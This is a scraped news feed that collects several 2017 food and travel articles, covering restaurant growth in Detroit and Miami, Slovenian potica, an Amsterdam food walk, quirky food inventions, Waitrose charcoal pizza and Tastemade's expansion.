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]]> https://briefnews.eu/how-did-tijuana-become-mexicos-go-to-foodie-city/feed/ 0 Why Detroit and Miami Are the Next Big Foodie Hot Spots https://briefnews.eu/why-detroit-and-miami-are-the-next-big-foodie-hot-spots/ https://briefnews.eu/why-detroit-and-miami-are-the-next-big-foodie-hot-spots/#respond Thu, 28 Sep 2017 18:11:54 +0000 http://briefnews.eu/why-detroit-and-miami-are-the-next-big-foodie-hot-spots/

OZY and JPMorgan Chase & Co. have partnered to bring you an inside look at how entrepreneurs and business leaders are coming up with innovative methods to help the communities around them. Enjoy the rest of our special series here.

When you think of the cities that attract countless flocks of foodies, eager to visit hot new restaurants so they can Instagram every tantalizing morsel, it’s New York, Los Angeles or Chicago that probably come to mind, right?

Think again. A 2016 JPMorgan Chase Institute study found that the cities with the fastest-growing restaurant scenes are far from what you’d expect, and include Atlanta, Denver and Portland, Oregon, all of which experienced a higher percentage of spending growth than the usual suspects. Of course, the strong economic growth of the past few years has also brought a rising tide to overall restaurant spending. For the 15 metropolitan areas included, there was an average annual increase of 7.8 percent.

The city leading the pack? Detroit. Yes, that Detroit, where the spending jumped by a whopping 10.5 percent.

Dustin Walker, food and beverage manager at Red Dunn Kitchen, inside the Trumbull & Porter Hotel owned by Leo Lee in Detroit’s hopping Corktown district, for one, isn’t the least bit surprised.

Chefs and restaurateurs no longer have to move to New York or LA to solidify their culinary careers.

Writer Liana Lozada

“Larger cities are saturated with restaurants,” he says. After decades of population loss, Detroit has stabilized, and new residents are moving into formerly derelict neighborhoods. Plus, it’s simply cheaper to launch a restaurant in Motor City: Business owners have a great deal of flexibility in negotiating land deals, leases and terms with suppliers. “These factors make it easy for mom-and-pop places to turn a profit, and also make it attractive for big-money players to help with the resurgence,” he notes.

The city’s progress has attracted attention from the James Beard Foundation, and international travelers are putting Detroit on their must-visit lists. National Geographic even named Detroit as one of its top six surprising cities for foodies, calling Corktown the “best neighborhood for a food frenzy.”

Miami came in fourth place on the list, showing a year-over-year growth rate of 8.9 percent. To lifestyle writer Liana Lozada, who’s covered the Miami food scene since 2009, it makes sense.

“Chefs and restaurateurs no longer have to move to New York or LA to solidify their culinary careers,” she says. “Now they can stay in their hometowns or move into lesser-known areas, utilize local ingredients and create impactful, creative experiences.”

Matthias Kiehm concurs. He’s the managing partner of La Centrale, an Italian food hall scheduled to open in December 2017. “In Miami, it’s not just about good food but the experience and entertainment,” he says. “People visit from around the world to experience Miami’s vibrant nightlife and to have fun, and that’s reflected in the culinary scene too.”

Which brings us to perhaps the most influential trend in the restaurant world today: Customers — especially millennials — want eating out to nourish both body and soul. In other words, they want an experience. A recent study from AlixPartners, a global business-advisory firm, found that while both millennials and baby boomers are cutting back on eating at restaurants to save money, there’s an interesting dichotomy that separates them: While 47 percent of baby boomers plan to earmark the saved funds for retirement accounts, 46 percent of millennials intend to spend the money on experiences, from travel and mani-pedis to housecleaning services. So for millennials, dining out has to follow suit and provide an experience, not just refuel the tank.

This explains why sales at casual-dining chain restaurants — like Chili’s and Applebee’s — have decreased over the previous year. According to TDn2K, a restaurant industry analysis firm, revenue at these restaurants dropped almost 4 percent between 2015 and 2016. A plethora of other meal options — grocery-store takeout departments, home delivery services, even food trucks — further cuts into the casual-dining business, since people simply have more choices than just a few years ago.

Kurt Schnaubelt, managing director at AlixPartners and co-leader of its restaurant, hospitality and leisure practice in North America, expects revenue growth at restaurants in these and other smaller cities to continue, partly fueled by an influx of college-educated millennials who are attracted to these cities due to their lower cost of living and plentiful jobs. “First and foremost, the local economy drives restaurant spending,” he says. “And anywhere there are cool neighborhoods and a vibrant art and music scene, the food scene has a real opportunity to grow.”

In Detroit, Walker says there’s no end in sight to the city’s burgeoning culinary scene. A recent study by the Urban Institute backs him up, projecting that the city will add 60,000 residents by the year 2040.

“If you told me five years ago I’d be running the [food and beverage] at a revamped hotel in Corktown, I’d tell you that you were crazy, or that I had gone crazy for making that jump,” says Walker. “But it just feels right.”

Adventurous diners agree.

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]]> https://briefnews.eu/why-detroit-and-miami-are-the-next-big-foodie-hot-spots/feed/ 0 Melania Trump: Pope's foodie joke to First Lady causes EU cake recognition STORM https://briefnews.eu/melania-trump-popes-foodie-joke-to-first-lady-causes-eu-cake-recognition-storm/ https://briefnews.eu/melania-trump-popes-foodie-joke-to-first-lady-causes-eu-cake-recognition-storm/#respond Mon, 29 May 2017 15:22:41 +0000 http://briefnews.eu/melania-trump-popes-foodie-joke-to-first-lady-causes-eu-cake-recognition-storm/

Whilst in Vatican City, the President and First Lady of the USA met Pope Francis, 80.

Melania, 47, wore a stylish black lace coat and veil for the occasion, following protocol for dress when meeting the Pontiff.

During the meeting, the Pope made a joke to the First Lady about food, gesturing to Donald, 70, and asking: “What do you feed him, putizza?

Putizza is a Slovenian dessert known as potica in its home country.

The Pope made his joke in Spanish, his native tongue, and initially Melania was confused and thought he said “pizza”.

Realising what he was referring to, Melania then answered: “Putizza, ah yes.”

After the mis-communication made headlines around the world, it emerged the Pope loves the cake and often mentions it when he meets Slovenians.

Following the raised profile of the sweet treat, Slovenia now wants official recognition for the cake, similar to the protection of other foods in Europe.

The country’s ministry of agriculture and the national chamber of small businesses have joined together to push for Brussels to protect “the original recipe” for the sticky cake.

Their aim is to standardise the many different variations of patina, which is originally made with butter, eggs, nuts, chocolate, and “skuta” which is a sweet cheese similar to ricotta.

Raisins and poppy seeds can be included. If the Slovenian government is successful, only bakeries and patisseries which stick to the official recipe will be able to call their product “Slovenska potica”.

Slovenia has seen its profile raised considerably in America thanks to the new First Lady.

Since Donald Trump’s election, the number of American visitors to the country is up more than 15 per cent, the Slovenian tourism industry has reported.

Melania comes from Sevnica, a small town located around 60 miles from the capital, Ljubljana.

Melania left the country in her twenties to pursue an international modelling career.

After working around the world, she settled in New York before marrying Donald.

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]]> https://briefnews.eu/melania-trump-popes-foodie-joke-to-first-lady-causes-eu-cake-recognition-storm/feed/ 0 Foodie walks, historical buildings and picturesque canal network: Discover Amsterdam https://briefnews.eu/foodie-walks-historical-buildings-and-picturesque-canal-network-discover-amsterdam/ https://briefnews.eu/foodie-walks-historical-buildings-and-picturesque-canal-network-discover-amsterdam/#respond Fri, 19 May 2017 23:29:38 +0000 http://briefnews.eu/foodie-walks-historical-buildings-and-picturesque-canal-network-discover-amsterdam/

AmsterdamGETTY

Amsterdam is the ultimate city break destination

It’s a good thing that Amsterdam is so easy to explore on foot. I was only halfway through my foodie walking (or in my case, waddling) tour of the Jordaan neighbourhood, but I was already regretting that second helping of poffertjes (tiny pancakes drenched in advocaat, a Dutch licquer).

But the tour, thankfully, isn’t simply about food. It’s designed to provide an insight into Jordaan, one of Amsterdam’s oldest neighbourhoods. Once thoroughly working class, it’s morphed into Amsterdam’s up-and-coming foodie district, although reminders of its past are everywhere.

Take the façade stones, found above doorways. In the 17th Century, many of Jordaan’s residents were illiterate. Locals indicated the nature of their business using these intricately carved stones, adorned with images representing their line of work. A leg of lamb might indicate a butcher, and a needle would suggest a seamstress.

Today, Jordaan’s business owners keep this tradition alive and façade stones can still be spotted throughout the neighbourhood. 

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Another Jordaan trademark is its hofjes. They’re hard to find, and without the help of our guide I would never have known they existed. Tucked off side streets, hofjes, or “widows’ courtyards” are clusters of houses surrounding small greenery-filled courtyards.

This early form of social housing was built for widows in the 17th Century, funded by wealthy Amsterdammers as acts of charity. Visit the most famous example, Karthuizerhof, and you’ll see the plaque listing the donors responsible for its construction.

Jordaan is a great example of Amsterdam’s diversity, and another is Amsterdam-Noord. Exit the city’s Centraal Station, walk a few metres to the nearby harbour side, and there it is, springing up across the water. Once an industrial area, it is now the city’s hippest neighbourhood and full of things to see and do.

It takes five minutes to get there, on the free ferry laid on for foot passengers, cyclists and drivers of Amsterdam’s tiny, two-person Canta cars, and I headed straight for its newest attraction Over The Edge. It’s Europe’s highest swing, and is part of A’DAM Lookout, a new rooftop observation platform. 

AmsterdamGETTY

Enjoy the beautiful colours of the city

Strap into the two-person seat and you’ll fly over the city, 100 metres above the ground. Afterwards, check out the sky deck for breathtaking city views – and a stiff drink, if required. If you’re feeling peckish, head to the nearby Butcher Social Club. This lively restaurant is famous for its fantastic burgers and delicious cocktails, which you can sip while playing vintage arcade games or rounds of table tennis.

Several huge brands, including MTV Europe and Red Bull, now have their headquarters in Amsterdam-Noord, which will receive a further boost with the 2018 opening of the Noord/Zuidlijn (north-south) metro line.

Another neighbourhood set to benefit is De Pijp. Creative types have been flocking to this park-filled neighbourhood since the 60s and I headed here to indulge in some retail therapy at the Albert Cuyp Market, which has 260 stalls selling everything from vintage clothes to homemade sweets. 

I fell in love with De Pijp’s Café Blond. Handmade plates illustrated with humorous quotations fill the walls (there’s even crockery in the toilet) and you can pick up your own personalised tableware in the café’s shop.

Sun, August 17, 2014

A nature photographer has captured of series of stunning aerial images, where these simple TULIP FIELDS could be confused for abstract works of art. Simone Sbaraglia, from Rome, Italy, shot the vibrant series over the outskirts of Amsterdam in the Netherlands, in April 2014. The photographer said that he was interested in the geometry and colours of the flower-filled fields – shooting hundreds of images over a four-day period. Simone, 42, hoped to feature prominent lines throughout his images.

A nature photographer has captured of series of stunning aerial images, where these simple TULIP FIELDS could be confused for abstract works of art. Simone Sbaraglia, from Rome, Italy, shot the vibrant series over the outskirts of Amsterdam.

Caters

1 of 19

A nature photographer has captured of series of stunning aerial images, where these simple TULIP FIELDS could be confused for abstract works of art. Simone Sbaraglia, from Rome, Italy, shot the vibrant series over the outskirts of Amsterdam in the Netherlands.

Amsterdam’s expanding transport network (there are also plans for a water taxi service) means that seeing its best bits is wonderfully easy. And while there’s plenty of new attractions to check out in 2017, its most famous ones are as popular as ever.

The Anne Frank House, with its secret room, accessed via the original moveable bookcase, will be expanded over the next two years, although it will remain open throughout. 

If you visit the famous Rijksmuseum between now and August 2018 you’ll be able to admire The Last Judgement, the 16th-century painted altarpiece by Dutch master Lucas van Leyden (below).

This priceless work of art has only left its permanent home (Leiden’s Museum De Lakenhal) twice over the past 450 years. But then again, if any city could lure this beautiful masterpiece out of hiding, Amsterdam would surely be top of the list.

Way to go

Rooms at the Hotel Pulitzer (pulitzeramsterdam.com) cost from £215 per night. Flights from London Gatwick to Amsterdam with easyJet (easyjet.com) cost from £30.99, one way.

CoffeeGETTY

Get a caffeine fix at Pause, Hotel Pulitzer

Ten things you must do in Amsterdam

1 Grab a bite to eat at The Butcher Social Club in Amsterdam-Noord, which is famous for its burgers. 

2 Get a caffeine fix at Pause, Hotel Pulitzer. The café overlooks the peaceful gardens in this recently refurbished hotel, which comprises 25 beautifully restored historic canal houses connected by glass walkways. 

3 Visit De Pindakaaswinkel (the Peanut Butter Shop). Available flavours include raisin, white chocolate and sea salt caramel and tasting sessions are available. 

4 Check out De Beurspassage. This covered passageway connects Damrak avenue and Nieuwendijk street, and boasts an explosion of beautiful mosaics, stained glass tiles and wall-mounted ornaments. 

5 Spend an afternoon at the Rijksmuseum, Amsterdam’s most famous art museum. There are a host of attractions in 2017, including an exhibition of Jurriaan Andriessen’s paintings. 

6 Dine at Blue Pepper, a restaurant inspired by traditional Indonesian feasts. It is famous for its “rijsttafels” (rice tables), elaborate, traditional Indonesian meals adapted by the Dutch.

7 Shop until you drop. The biggest high street brands can be found in the streets that fan out from Dam Square.

8 Take a day trip to Naarden, one of Europe’s best-preserved fortified towns to the east of Amsterdam. 

9 Fill up at a food festival. Amsterdam has some of Europe’s best, including Amsterdam KOOKT, with its food trucks and live music, and Trek Food Truck Festival, famous for its international cuisine.

10 Sign up for an Eating Amsterdam food tour, which offers an insight into Amsterdam’s hippest neighbourhoods. And make sure you try the poffertjes (below) – tiny pancakes drenched in advocaat.

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]]> https://briefnews.eu/foodie-walks-historical-buildings-and-picturesque-canal-network-discover-amsterdam/feed/ 0 24 Genius Foodie Inventions You Never Knew You Needed https://briefnews.eu/24-genius-foodie-inventions-you-never-knew-you-needed/ https://briefnews.eu/24-genius-foodie-inventions-you-never-knew-you-needed/#respond Wed, 05 Apr 2017 10:40:57 +0000 http://briefnews.eu/24-genius-foodie-inventions-you-never-knew-you-needed/

3. The Pringles-like crisps that have a tab that you lift up, saving you from trying to squeeze your hand into the tube.

The Pringles-like crisps that have a tab that you lift up, saving you from trying to squeeze your hand into the tube.

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5. The chopsticks that are also a fork, in case you’re not feeling too confident.

The chopsticks that are also a fork, in case you're not feeling too confident.

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6. The Japanese chewing gum that comes with tiny Post-it style papers so you can throw it away when your all chewed out.

The Japanese chewing gum that comes with tiny Post-it style papers so you can throw it away when your all chewed out.

View this image ›

7. This picnic bench that includes a high chair, seating for small children, seating for a adults, AND space for wheelchair users.

This picnic bench that includes a high chair, seating for small children, seating for a adults, AND space for wheelchair users.

View this image ›

8. The brownies that are colour coded so you know whether they’re from the corner, edge, or centre of the tray.

The brownies that are colour coded so you know whether they're from the corner, edge, or centre of the tray.

View this image ›

9. The restaurant tables that have a safe place for your phone to avoid spilling anything on it.

The restaurant tables that have a safe place for your phone to avoid spilling anything on it.

View this image ›

10. The “all you can eat” restaurant that charges you different amounts based on your height.

The

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11. The toaster that has a “bit more” option for when your toast isn’t quiiiite done.

The toaster that has a

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12. The menu that gives you the option of buying the kitchen staff a six-pack of beer as a thank you.

The menu that gives you the option of buying the kitchen staff a six-pack of beer as a thank you.

View this image ›

14. The shopping trolleys that have magnifying glasses attached to help short-sighted people read labels.

The shopping trolleys that have magnifying glasses attached to help short-sighted people read labels.

View this image ›

15. These signs that tell the waiting staff whether to help you or leave you alone.

These signs that tell the waiting staff whether to help you or leave you alone.

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16. The microwave that knows exactly how long to cook your food for when you scan the barcode.

The microwave that knows exactly how long to cook your food for when you scan the barcode.

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17. And the one that offers a “sound off” setting so you don’t piss off your entire office every time you make lunch.

And the one that offers a

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18. The restaurant that offers complimentary mouthwash in the bathroom should the garlic be taking its toll.

The restaurant that offers complimentary mouthwash in the bathroom should the garlic be taking its toll.

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19. The holes in these tables so that you can support these cones of fries if you want to eat-in.

The holes in these tables so that you can support these cones of fries if you want to eat-in.

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20. The bathroom that gives you an option of scented or unscented soap, depending on whether you’ve finished eating.

The bathroom that gives you an option of scented or unscented soap, depending on whether you've finished eating.

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21. The restaurant that uses this simple but very effective Lego technique to keep track of their tables.

The restaurant that uses this simple but very effective Lego technique to keep track of their tables.

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22. This wonderful strategically-placed tortilla chip that prevents the beans from getting the taco all soggy.

This wonderful strategically-placed tortilla chip that prevents the beans from getting the taco all soggy.

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23. The bar that serves Coke with ice cubes made from Coke, so your drink doesn’t get watered down when they melt.

The bar that serves Coke with ice cubes made from Coke, so your drink doesn't get watered down when they melt.

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24. This utensil that is a spoon, fork, AND removable toothpick, all in one.

This utensil that is a spoon, fork, AND removable toothpick, all in one.

View this image ›

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]]> https://briefnews.eu/24-genius-foodie-inventions-you-never-knew-you-needed/feed/ 0 Latest foodie fad: Waitrose introduces CHARCOAL pizza https://briefnews.eu/latest-foodie-fad-waitrose-introduces-charcoal-pizza/ https://briefnews.eu/latest-foodie-fad-waitrose-introduces-charcoal-pizza/#respond Thu, 30 Mar 2017 21:58:58 +0000 http://briefnews.eu/latest-foodie-fad-waitrose-introduces-charcoal-pizza/

Made from hand-stretched sourdough with charcoal in the mix, the ashen-coloured base and its bitter taste is part of a new foodie fad, according to the supermarket chain. 

Manisha Kotecha, pizza developer for Waitrose, explained: “With the growing popularity of charcoal in food and drink and the striking visual that it delivers, we know our wood-fired antipasti pizza will be a big hit.” 

“The crisp base benefits from the flavour of the charcoal, which is the perfect mix of bitterness and acidity and provides a wonderful foil for the fresh, sweet and salty flavours of the antipasti toppings,” a spokesman added. 

The pizza is part of a new range and will be available towards the end of May for £4.79. 

And if that has tickled your taste buds, Waitrose is also launching Heston Blumenthal’s gin and tonic tart.

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]]> https://briefnews.eu/latest-foodie-fad-waitrose-introduces-charcoal-pizza/feed/ 0 Tastemade wants to shift from making popular foodie videos to becoming a lifestyle brand https://briefnews.eu/tastemade-wants-to-shift-from-making-popular-foodie-videos-to-becoming-a-lifestyle-brand/ https://briefnews.eu/tastemade-wants-to-shift-from-making-popular-foodie-videos-to-becoming-a-lifestyle-brand/#respond Sun, 05 Feb 2017 12:15:12 +0000 http://briefnews.eu/tastemade-wants-to-shift-from-making-popular-foodie-videos-to-becoming-a-lifestyle-brand/ Tastemade LondonTastemade opened its third global studio in London this week, and this year the five-year-old food video startup has ambitions not only to grow geographically, but expand into new verticals too.

The Los Angeles-based startup has carved itself a niche in online food videos. Alongside the classic recipe videos, Tastemade creates documentary style shows like “SOURCED,” where viewers discover the origins of famous foods. Another breakout hit is the comedic show “Tiny Kitchen,” in which Tastemade staff cook dishes in doll-sized proportions. The startup’s revenue comes largely from sponsorships, ranging from one-off videos it will create for a brand, to entire shows it hosts on its own channels, such as the three seasons of the “Local Flight” series it produced with Grey Goose, visiting cocktail bars around the world.

The company raised $ 40 million at the end of 2015 from Goldman Sachs as well as media companies Comcast, Liberty Media, and Scripps Network.

The opening in London is the first European studio for Tastemade, after Los Angeles and Sao Paulo.  The new studio houses four different sets, each modeled after the typical British kitchen to capture the local flair.

Moving beyond food

But although it’s where Tastemade made its name, the brand isn’t just about food. Its first shift away from foodie videos was when it expanded into the travel vertical, in 2014.

Tastemade’s head of programming, Oren Katzleff, told Business Insider: “Food and travel are very entwined so it made sense for us to make that leap. You’ll see in 2017 we’ll start to expand the genres in which we create content with the angle that we’re more of a lifestyle brand.”

CEO Steven Kydd added: “We chose our name really purposefully because we didn’t think there were an awful lot of people creating really high quality video.”

The startup, ranked seventh on Tubular Labs’ most viewed media and entertainment companies list, said more brands want to venture into online video.

Kydd said: “If you’re one of the distributors right now, these lifestyle categories that we’re in are very monetizable,” hinting that there were social media companies asking Tastemade for even more content. Meanwhile, brands in categories outside of travel and food are also looking to Tastemade to create videos for them.

“There are massive categories with potential, specifically for high quality video,” Kydd said. He pointed at home and design, style and beauty and DIY as potential categories where Tastemade could apply its unique aesthetic and formats.

“We’ve done quite well in food and travel and now we feel like we’ve earned our right to go to the next logical lifestyle category,” Kydd said but no official decision had been made.

Tastemade says it differentiates itself from brands like BuzzFeed thanks to the premium quality of its videos

Tastemade isn’t the only video brand that has “done quite well” in this space. BuzzFeed launched its own food video property Tasty in 2016, and recently doubled the size of its branded content studio in London.

Tastemade cofounder Steven Kydd said his network differentiates itself from BuzzFeed because the production of high-quality visuals and the talent it teams up with make it a more premium brand.

Tastemade startup shoots seven different videos a day, each of which gets up to six specific edits to give it a more natural feel for each distribution point. For videos that go on Snapchat, Tastemade even created a vertical-specific set, where the decor is narrower and higher so more of it can fit into a single vertical video shot.

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Why it has taken Tastemade so long to expand internationally

The startup’s attention to detail and goal to maintain a high level of quality is why it has been comparatively slow, since it was founded in 2012, to open more offices around the world. Before opening any office, Tastemade starts with a small team of talent scouts in a country. It has a network of scouts, in countries like France, Japan, and Germany who are looking at platforms like Pinterest and Instagram to find the screen talent they call “tastemakers.”

Kydd said: “We don’t call them talent or stars because their job isn’t to jump up and down in front of the camera and be loud. Their job is to have taste and find something and curate the best and then deliver that to the audience.”

Identifying the right talent is critical to Tastemade’s strategy to break into new markets around the world. There are some ground rules: Tastemakers should already have a local following, which can be driven to the Tastemade network, and have an understanding of local style.

Katzleff, said: “Since day one of launching in the UK, we’ve looked very closely at the data. Specifically what UK talent performs well in the US.”

Tastemade has seen two-thirds of its British talent roster perform well in the US. That content is translated for other countries like Brazil or Japan. Sometimes a recipe from one country is adapted with the ingredients from another country, but not every dish translates around the world. What often drives even very local dishes are strong personalities who connect with viewers Katzleff explained.

One of those UK personalities whose content has performed well in the US is the “Topless Baker” Matt Adlard, who has amassed a following of over 63,000 followers on Instagram. He’s among the first UK talents Tastemade added to its UK roster.

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“When you look at how we’ve picked the different places that we’ve launched studios, it’s been massive audience opportunity and then we’ve got to monetize the content. The opportunity is also there from a brand standpoint,” Katzleff said.

London, despite not being known as a culinary capital, ticked all of those boxes. The company is in currently discussion with 15 brands to create UK-specific content as well as expanding on partnerships with global brands, like Unilever.

The company is not currently looking to raise funding and nor does it want to veer away from video

Kydd declined disclose revenues but said that there had been very strong growth and that the company is not looking to raise more funding for the time being.

Kydd said: “But you never say never. The media landscape is totally up for grabs right now. There are massive transformative things happening in media right now.”

Tastemade made the bet to focus on digital-only videos about one specific vertical of food when it was founded in 2012. The three Tastemade founders previously founded Demand Media, which went public in 2010 and today owns the publishing brands eHow and Livestrong. Kydd explained that when Tastemade launched, advisors to the founding team often told them to look at doing other formats such as articles or photos but the company maintained its focus on video.

Today that focus has paid off. Katzleff said: “I hold data in my hands that only maybe three other people in the world have and I can tell how to create the best content in the world across all those platforms. Tastemade does all that and on top we create the content for you.”


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